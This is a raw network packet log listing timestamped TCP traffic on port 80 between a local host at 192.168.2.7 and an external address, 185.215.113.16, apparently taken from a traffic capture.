Oct 29, 2024 18:00:22.410368919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410378933 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410393953 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410408020 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410423994 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410433054 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410433054 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410439014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410454035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410460949 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410470009 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410484076 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410501003 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410514116 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410535097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410548925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410562992 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410578966 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410599947 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410615921 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410629034 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410644054 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410655975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410655975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410655975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410657883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410655975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410655975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410655975 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410672903 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410687923 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410701990 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410717010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410732031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410746098 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410762072 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410774946 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410789967 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410804033 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410818100 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410834074 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410847902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410862923 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410867929 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.410876989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410892963 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410914898 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410928965 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410943031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410957098 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410978079 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.410990953 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411005020 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411019087 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411037922 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411041021 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411041021 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411041021 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411041021 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411041021 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411041021 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411060095 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411075115 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411087036 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411096096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411111116 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411111116 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411127090 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411140919 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411154032 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411155939 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411171913 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411186934 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411197901 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411197901 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411201954 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411217928 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411238909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411242962 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411253929 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411268950 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411283016 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411287069 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411298990 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411324978 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411339045 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411339045 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411339998 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411354065 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411370039 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411390066 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411405087 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411418915 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411439896 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411454916 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411464930 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411464930 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411464930 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411472082 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411487103 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411500931 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411515951 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411530018 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411544085 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411557913 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411573887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411588907 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411602974 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411617041 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411631107 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411645889 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411659956 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411660910 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411660910 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411660910 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411662102 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411662102 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411662102 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411662102 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411675930 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411690950 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411705971 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411720037 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411734104 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411747932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411762953 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411777973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411793947 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.411849976 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411849976 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411849976 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411849976 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411849976 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411849976 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.411873102 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412049055 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412062883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412086010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412101030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412116051 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412130117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412138939 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412138939 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412147999 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412162066 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412167072 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412178040 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412193060 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412208080 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412220955 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412220955 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412223101 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412239075 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412254095 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412256956 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412271023 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.412286997 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.412403107 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.435348988 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.436523914 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.505784035 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505894899 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505912066 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505927086 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505943060 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505944014 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.505966902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505970955 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.505984068 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.505999088 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506014109 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506030083 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506041050 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506041050 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506052971 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506069899 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506086111 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506098986 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506103039 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506119013 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506143093 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506158113 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506172895 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506174088 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506174088 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506174088 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506190062 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506206036 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506221056 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506237030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506252050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506268978 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506268978 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506268978 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506273031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506289005 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506305933 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506329060 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506345987 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506375074 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506375074 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506391048 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506393909 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506409883 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506426096 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506443977 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506454945 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506515026 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506519079 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506542921 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506557941 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506572962 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506588936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506603956 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506620884 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506620884 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506620884 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506639957 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506654024 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506659031 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506675959 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506688118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506691933 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506709099 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.506747007 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.506747007 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.507644892 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507661104 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507674932 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507697105 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507711887 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507735014 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507750988 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507766008 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507782936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507798910 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507841110 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507848978 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507858038 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507864952 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507873058 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507880926 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507903099 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.507962942 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.507962942 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.507962942 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.507962942 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.507987022 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508055925 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508073092 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508088112 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508102894 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508117914 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508133888 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508137941 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508137941 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508152008 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508161068 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508168936 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508184910 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508208036 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508224964 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508228064 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508228064 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508240938 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508265018 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508272886 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508282900 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508296967 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508311987 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508327961 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508343935 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508358955 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508383989 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508399010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508414030 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508429050 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508443117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508456945 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508471966 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508477926 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508479118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508479118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508479118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508479118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508479118 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508487940 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.508786917 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508786917 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.508786917 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.511035919 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626496077 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626522064 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626544952 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626559973 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626574039 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626585007 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626589060 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626605034 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626620054 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626630068 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626630068 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626635075 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626652002 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626671076 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626677036 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626693010 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626701117 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626722097 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626734972 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626734972 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626746893 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626763105 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626776934 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626791000 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626800060 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626800060 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626807928 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626823902 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626849890 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626863003 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626884937 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626900911 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626900911 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626908064 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626921892 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626924038 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626940966 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626961946 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.626967907 CET	49977	80	192.168.2.7	185.215.113.16
Oct 29, 2024 18:00:22.626979113 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627001047 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627015114 CET	80	49977	185.215.113.16	192.168.2.7
Oct 29, 2024 18:00:22.627036095 CET	80	49977	185.215.113.16	192.168.2.7
